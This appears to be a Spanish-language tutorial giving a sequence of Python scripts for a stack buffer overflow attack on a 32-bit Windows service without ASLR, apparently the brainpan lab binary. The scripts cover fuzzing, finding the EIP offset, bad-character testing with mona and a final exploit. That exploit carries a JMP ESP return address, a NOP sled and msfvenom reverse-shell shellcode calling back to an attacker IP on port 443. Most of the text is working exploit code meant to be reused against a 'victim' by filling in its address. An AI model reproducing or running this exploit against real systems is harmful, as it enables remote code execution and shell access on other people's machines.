Buffer Overflow / W7-N/ASRL
En este apartado os voy a mostar la serie de scripts en python que he estado utilizando para realizar ataques
en aduditorias en contras fallos de buffer overflow sin la activacion del ASLR en equipos de windows de 32bits.
Primero / Realizando “Fuzzing”
En primer lugar tenenmos el primer script para realizar “Fuzzing” y hallar un cantidad aproximada de bytes con la que peta la victima.
#!/usr/bin/python
import sys, socket
from time import sleep
""" CANTIDAD DE BYTES QUE VA ITERANDO """
buffer = "A" * 100
while True:
try:
# Aqui vamos a intentar entablar la conexion
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# PON AQUI LA IP DE LA VICTIMA + EL PUERTO POR DONDE CORREO EL SERVICIO
s.connect(("192.168.1.101",9999))
s.send((buffer))
s.close()
sleep(1)
buffer = buffer + "A" * 100
except:
print "Fuzzeando el servicio con %s bytes " %str(len(buffer))
sys.exit(1)
Segundo / Try an “POC”
Gracias al output que nos habra dado la shell victima podemos con este poc ajustar el rango al que se produce en buffer en el binario a atacar.
#!/usr/bin/python
# coding: utf-8
import sys,socket
if len(sys.argv) != 2:
print "\nUso: python" + sys.argv[0] + " <dirección-ip>\n"
sys.exit(0)
# PON AQUI LA CANTIDAD DE BYTES COMO P.O.C.
buffer = "A"*600
ipAddress = sys.argv[1]
# PON AQUI LA IP DE LA VICTIMA
port = 9999
try:
print "Enviando búffer..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ipAddress, port))
s.recv(1024)
s.send("USER " + buffer + '\r\n')
s.recv(1024)
s.close()
except:
print "\nError de conexión...\n"
sys.exit(0)
Tercero / Consiguiendo “EIP”
En este punto vamos a conseguir el valor del eip tomando el calculo del offset y gdb para asi ir obteniendo el valor del buffer o cantidad exacta con la que peta el binario.
import socket
import sys
from time import sleep
"""
Como calcular el offset:
1. https://github.com/longld/peda
>> git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
2. sudo apt-get install gdb
3. gdb
4. pattern_create 800
5. Copia el output que da y pegalo en el "pattern"
"""
# PON AQUI LA CANTIDAD DE CARACTERES ALETORIOS
pattern = ""
buffer = pattern
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect(("192.168.1.101",9999))
s.recv(1024)
print "[*] Sending buffer"
s.send(buffer + '\r\n')
s.close()
except:
print '[*] Conexion perdida'
sys.exit()
Cuarto / Controlando “EIP”
Una vez tomadno ya el offset necesitamos ir controlando los proximos salto de memoria a ello este script para el valor del EIP y su control.
import socket
import sys
from time import sleep
"""
Como calcular valor EIP:
1. pattern_offset 0x+NUMERO_EIP
>> Ejemplo >> 193856934387 found at offset: 955 (Valor del EIP = 755)
"""
# DEFINE AQUI EL NUMERO DE OFFSET (VALOR DEL EIP)
offset = "A"*524
# DEFINE AQUI LA LETRA Y CANTIDAD A ENVIAR AL EIP
EIP = "B"*4
buffer = offset + EIP
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect(("192.168.1.101",9999))
s.recv(1024)
print "[*] Sending buffer"
s.send(buffer + '\r\n')
s.close()
except:
print '[*] Conexion perdida'
sys.exit()
Quinto / Enviando “Junk”
En este punto ya queremos enviar basura para ver si llegamos al siguiente salto en la pila del binario.
import socket
import sys
from time import sleep
"""
Como calcular valor EIP:
1. pattern_offset 0x+NUMERO_EIP
>> Ejemplo >> 193856934387 found at offset: 955 (Valor del EIP = 755)
"""
offset = "A"*524
EIP = "B"*4
# DEFINE AQUI LA JUNK QUE QUIERES ENVIAR AL ESP
junk_ESP = "C"*400
buffer = offset + EIP + junk_ESP
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
# PON AQUI LA IP DE LA VICTIMA + EL PUERTO POR DONDE CORRE EL SERVICIO
s.connect(("192.168.1.101",9999))
s.recv(1024)
print "[*] Sending buffer"
s.send(buffer + '\r\n')
s.close()
except:
print '[*] Conexion perdida'
sys.exit()
Sexto / Limpiando “VARCHARS”
Aproximandonos en el final toca el momento de crear nuestro payload para asi limpiar los varchars que no acepta el binario.
import socket
import sys
from time import sleep
offset = "A"*524
EIP = "B"*4
""""
Crear la carpeta donde mona va a guardar los datos
*** Debes aver estado ejecutado el control del ESP (05) previamente ***
> !mona config -set workingfolder C:\Users\NOMBRE_DE_USUARIO\Desktop\%p ( Esta carpeta no existira hasta que haya datos )
> !mona bytearray
> !mona bytearray -cpb "\x00\x02\x0a\x23" (Aqui estaria los varchar que queremos quitar)
> impacket-smbserver smbFolder $(pwd)
> cat nombre_fichero.txt | grep -oP '".*?"' | tail -n 8 ( Lineas )
> !mona compare -f C:\Users\NOMBRE_DE_USUARIO\Desktop\brainpan\bytearray.bin -a ESP_NUMBER
"""
# DEFINE AQUI TU ARRAY DE BADCHARS
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21"
"\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41"
"\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61"
"\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"
"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1"
"\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1"
"\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1"
"\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
junk_ESP = badchars
buffer = offset + EIP + junk_ESP
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect(("192.168.1.101",9999))
s.recv(1024)
print "[*] Sending buffer"
s.send(buffer + '\r\n')
s.close()
except:
print '[*] Conexion perdida'
sys.exit()
Septimo / Payload “NOPs”
Finalmente preparamos el scritps , teniendo en cuenta el little endian ya que es una maquina de 32bits ademas de darle un hilo para que se ejecute el payload en el siguiente salto de pila.
import socket
import sys
from time import sleep
from struct import pack
"""
Apuntar al ESP - Buscar el offcode - El siguiente salto que va a realizar el EIP
> find / -iname nasm_shell.rb 2>/dev/null
>>> /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
> jmp ESP
> !mona modules ( FFE4 > Esto es el como el nombre del indice del siguiente salto del ESP hacia el junk )
> !mona find -s "\xFF\xE4" -m brainpan.exe ( "\xFF\xE4" = FFE4 )
> [+] Results : 0x311712f3 ( Este es el valor del siguiente salto que hace el ESP )
> Comprobamos con 0x311712f3 que dicha direccion apunta al indice FFE4
> Cargamos un breakpoint/toggle como P.O.C. (Para hacerlo no habiletes el NOPs)
"""
offset = "A"*524
NOPs = "\x90"*16 # AQUI LE ESTAMOS ASIGANDO X TIEMPO PARA QUE LE TIEMPO A QUE DESCODIFIQUE NUESTRO PAYLOAD Y LO EJECUTE
EIP = pack("<I", 0x311712f3 )
""""
Crear nuestro payload
> msfvenom -p windows/shell_reverse_tcp -a x86 --platform windows -e x86/shikata_ga_nai -f c lhost=192.168.1.77 lport=443 -b "\x00\x20" EXITFUNC=thread
> -p windows/shell/shell_reverse_tc .....>>> S.O.
> -a x86 ................................>>> Si es 32bits o 64bits
> -f c ..................................>>> Formato de salida que sera en lenguaje "C" para ver el exploit en bruto
> lhost = 192.168.1.77 ..................>>> IP a la que se va a conectar la victima
> lport = 443............................>>> Puerto al que se va a conectar la victima
> -b "\x00\x20" .........................>>> Los varchar que hemos quitado que la victima no admite
> EXITFUNC=thread .......................>>> Utilidad para hacer nuestro exploit un "Hilo" asi el servicio al leerlo sigue su flujo y no peta
"""
# DEFINE AQUI TU PAYLOAD-SHELLCODE
payload = ("\xba\x34\x71\x6e\x1f\xdb\xd8\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x52\x31\x56\x12\x03\x56\x12\x83\xda\x8d\x8c\xea\xde\x86\xd3"
"\x15\x1e\x57\xb4\x9c\xfb\x66\xf4\xfb\x88\xd9\xc4\x88\xdc\xd5"
"\xaf\xdd\xf4\x6e\xdd\xc9\xfb\xc7\x68\x2c\x32\xd7\xc1\x0c\x55"
"\x5b\x18\x41\xb5\x62\xd3\x94\xb4\xa3\x0e\x54\xe4\x7c\x44\xcb"
"\x18\x08\x10\xd0\x93\x42\xb4\x50\x40\x12\xb7\x71\xd7\x28\xee"
"\x51\xd6\xfd\x9a\xdb\xc0\xe2\xa7\x92\x7b\xd0\x5c\x25\xad\x28"
"\x9c\x8a\x90\x84\x6f\xd2\xd5\x23\x90\xa1\x2f\x50\x2d\xb2\xf4"
"\x2a\xe9\x37\xee\x8d\x7a\xef\xca\x2c\xae\x76\x99\x23\x1b\xfc"
"\xc5\x27\x9a\xd1\x7e\x53\x17\xd4\x50\xd5\x63\xf3\x74\xbd\x30"
"\x9a\x2d\x1b\x96\xa3\x2d\xc4\x47\x06\x26\xe9\x9c\x3b\x65\x66"
"\x50\x76\x95\x76\xfe\x01\xe6\x44\xa1\xb9\x60\xe5\x2a\x64\x77"
"\x0a\x01\xd0\xe7\xf5\xaa\x21\x2e\x32\xfe\x71\x58\x93\x7f\x1a"
"\x98\x1c\xaa\x8d\xc8\xb2\x05\x6e\xb8\x72\xf6\x06\xd2\x7c\x29"
"\x36\xdd\x56\x42\xdd\x24\x31\xad\x8a\x27\x8c\x45\xc9\x27\x0f"
"\x2d\x44\xc1\x65\x41\x01\x5a\x12\xf8\x08\x10\x83\x05\x87\x5d"
"\x83\x8e\x24\xa2\x4a\x67\x40\xb0\x3b\x87\x1f\xea\xea\x98\xb5"
"\x82\x71\x0a\x52\x52\xff\x37\xcd\x05\xa8\x86\x04\xc3\x44\xb0"
"\xbe\xf1\x94\x24\xf8\xb1\x42\x95\x07\x38\x06\xa1\x23\x2a\xde"
"\x2a\x68\x1e\x8e\x7c\x26\xc8\x68\xd7\x88\xa2\x22\x84\x42\x22"
"\xb2\xe6\x54\x34\xbb\x22\x23\xd8\x0a\x9b\x72\xe7\xa3\x4b\x73"
"\x90\xd9\xeb\x7c\x4b\x5a\x0b\x9f\x59\x97\xa4\x06\x08\x1a\xa9"
"\xb8\xe7\x59\xd4\x3a\x0d\x22\x23\x22\x64\x27\x6f\xe4\x95\x55"
"\xe0\x81\x99\xca\x01\x80")
junk_ESP = payload
# ESCRIBIMOS EL VALOR DEL EIP EN HEXADECIMAL ALREVES
buffer = offset + "\xf3\x12\x17\x31" + NOPs + junk_ESP
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect(("192.168.1.101",9999))
s.recv(1024)
print "[*] Sending buffer"
s.send(buffer + '\r\n')
s.close()
except:
print '[*] Conexion perdida'
sys.exit()